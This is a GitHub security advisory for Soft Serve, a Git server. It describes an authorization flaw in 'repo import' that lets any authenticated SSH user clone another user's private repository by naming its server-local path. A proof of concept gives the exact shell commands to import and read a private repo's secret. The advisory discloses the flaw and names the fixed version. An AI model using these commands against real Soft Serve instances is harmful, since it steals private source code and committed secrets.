GHSA-xgxp-f695-6vrp In Soft Serve, an authenticated repo import can clone server-local private repositories

• Go github.com/charmbracelet/soft-serve: >= 0.6.0, < 0.11.6 → fixed in 0.11.6

Summary An authorization flaw in `repo import` allows any authenticated SSH user to clone a server-local Git repository, including another user's private repo, into a new repository they control. This breaks the private-repository confidentiality boundary and should be treated as High severity. Details Repo import checks authorization only for the destination repository name, not for the source remote. The destination-side authorization comes from `pkg/ssh/cmd/cmd.go:172`, which calls `pkg/backend/user.go:46`. If the destination repo does not already exist, any authenticated user is granted `ReadWriteAccess` at `pkg/backend/user.go:94`. The import command then passes the user-controlled `REMOTE` into `pkg/backend/repo.go:102`. In vulnerable `HEAD`, `git.Clone(remote, rp, copts)` is reached without validating that `remote` is actually a network remote. As a result, a user can supply a server filesystem path such as `$DATA_PATH/repos/secret.git` and cause the server to clone its own local bare repository into a new repo owned by the attacker. The relevant vulnerable flow is: • `pkg/ssh/cmd/import.go` • `pkg/ssh/cmd/cmd.go:172` • `pkg/backend/user.go:94` • `pkg/backend/repo.go:102` PoC Configuration: • Default local test configuration is sufficient. • SSH must be enabled. • At least two users are needed: one owner/admin and one low-privilege authenticated user. Reproduction steps: 1. Start Soft Serve. 2. As an admin, create a private repo: ```sh soft repo create secret -p ``` 3. Create a second low-privilege user: ```sh soft user create user1 --key "$USER1_AUTHORIZED_KEY" ``` 4. Seed the private repo with secret content: ```sh git clone ssh://localhost:$SSH_PORT/secret secret echo 'top secret' > secret/SECRET.txt git -C secret add SECRET.txt git -C secret commit -m 'first' git -C secret push origin HEAD ``` 5. Confirm the low-privilege user cannot access the private repo directly: ```sh usoft repo info secret ``` Expected result: ```text Error: repository not found ``` 6. As the low-privilege user, import the server-local bare repo path into a new repo: ```sh usoft repo import stolen "$DATA_PATH/repos/secret.git" --lfs-endpoint http://example.com ``` 7. Clone the attacker-controlled imported repo and read the secret: ```sh ugit clone ssh://localhost:$SSH_PORT/stolen stolen-clone cat stolen-clone/SECRET.txt ``` Expected result: ```text top secret ``` Notes: • The `--lfs-endpoint` value is needed to avoid later LFS endpoint handling rejecting the local-path import. Impact This is an authorization bypass and confidentiality issue. Any authenticated SSH user on a multi-user Soft Serve instance can duplicate server-local Git repositories into new repositories they own, even when they are not a collaborator and direct access to the original private repo is denied. The primary impact is unauthorized disclosure of private source code and any secrets committed to those repositories. Impacted parties: • Operators hosting Soft Serve for multiple users or teams • Owners of private repositories on the same instance • Any deployment where untrusted authenticated users can use `repo import` Practical impact: • Theft of private source code • Disclosure of secrets committed to private repos • Exposure of unreleased or internal projects • Possible follow-on supply-chain risk if stolen code contains credentials or release material